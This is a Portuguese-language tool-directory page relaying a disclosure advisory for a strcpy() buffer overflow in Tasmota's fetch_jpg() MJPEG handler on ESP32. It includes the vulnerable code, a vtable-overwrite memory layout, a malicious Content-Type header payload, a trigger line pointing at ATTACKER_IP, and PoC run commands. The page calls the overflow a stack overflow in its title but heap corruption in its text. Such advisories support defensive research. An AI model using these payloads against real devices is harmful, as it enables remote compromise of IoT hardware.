Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-38426 — CVE-2026-38426 — Estouro de buffer de pilha strcpy() em Tasmota fetch_jpg() limite[40] (Tasmota <= 15.3.0.3) | Kitploit
Ferramentas/GitHubGitHub/sermikr0/cve-2026-38426
Segurança de Sistemas EmbarcadosSegurança IoTAnálise de VulnerabilidadesExploraçãoSegurança de Hardware e IoTCavalo de Troia de Acesso RemotoExploração de Binários
GitHubsermikr0/cve-2026-38426

CVE-2026-38426

CVE-2026-38426 — Estouro de buffer de pilha strcpy() em Tasmota fetch_jpg() limite[40] (Tasmota <= 15.3.0.3)

Ver Repositório
7há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-38426: Estouro de Buffer de Pilha strcpy() na função fetch_jpg() boundary[40] do Tasmota

CVE: CVE-2026-38426
Gravidade: Crítica (CVSS 9.8)
Produto: Arendst Tasmota
Versão Afetada: <= 15.3.0.3
Arquivo: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Função: fetch_jpg() — caso 0 (conexão inicial)
Autor: Saidakbarxon Maxsudxonov
Divulgação: Responsável — reportado ao Tasmota antes da publicação


Sumário

Uma vulnerabilidade clássica de estouro de buffer strcpy() existe na função fetch_jpg() do driver scripter do Tasmota. A string de fronteira (boundary) MJPEG extraída do cabeçalho de resposta HTTP Content-Type é copiada para um buffer fixo de 40 bytes (boundary[40]) sem qualquer validação de comprimento. Um invasor controlando o servidor HTTP MJPEG pode fornecer uma string de fronteira com mais de 39 caracteres para estourar o buffer e corromper a memória heap adjacente — potencialmente alcançando a execução remota de código no ESP32.


Código Vulnerável

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

struct JPG_TASK {
    char boundary[40];   // ← FIXED SIZE — only 40 bytes!
    bool draw;
    uint8_t scale;
    uint16_t xp;
    uint16_t yp;
    WiFiClient stream;   // contains vtable pointer
    HTTPClient http;     // contains vtable pointer
} jpg_task;

// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
    strcpy(glob_script_mem.jpg_task.boundary, cp + 1);  // NO LENGTH CHECK — OVERFLOW!
}

Layout da Memória Heap (ESP32)

root@kitploit:~
struct JPG_TASK layout:
  +0x00  boundary[40]     ← o estouro começa aqui
  +0x28  draw (bool)      ← corrompido
  +0x29  scale (uint8_t)  ← corrompido
  +0x2A  xp (uint16_t)    ← corrompido
  +0x2C  yp (uint16_t)    ← corrompido
  +0x2E  WiFiClient        ← ponteiro de vtable sobrescrito → RCE
  +0x7E  HTTPClient        ← ponteiro de vtable sobrescrito → RCE

A sobrescrição do ponteiro vtable de WiFiClient ou HTTPClient com um valor controlado pelo invasor desencadeia RCE quando qualquer método virtual (read(), write(), connect()) é subsequentemente chamado.


Cenário de Ataque

O invasor executa um servidor HTTP ao qual o Tasmota se conecta via fetchjp(). O servidor responde com um cabeçalho Content-Type contendo uma string de fronteira com mais de 39 caracteres:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

O strcpy() do Tasmota copia 50+ bytes no buffer boundary de 40 bytes, causando estouro nos campos adjacentes da estrutura.

Acionamento via script Tasmota:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)

Prova de Conceito

root@kitploit:~
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info

Veja CVE-2026-38426_poc.py para implementação completa.


Impacto

  • Confidencialidade: Alta (RCE via sequestro de vtable no ESP32)
  • Integridade: Alta
  • Disponibilidade: Alta (queda garantida)
  • Vetor de Ataque: Rede
  • Autenticação: Nenhuma necessária

Linha do Tempo

  • 2026-03-29: Vulnerabilidade descoberta e reportada ao MITRE
  • 2026-03-29: CVE-2026-38426 atribuído
  • 2026-05-xx: Patch lançado pelo Tasmota (v15.3.0.4+)

Referências

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38426
Baixar ferramenta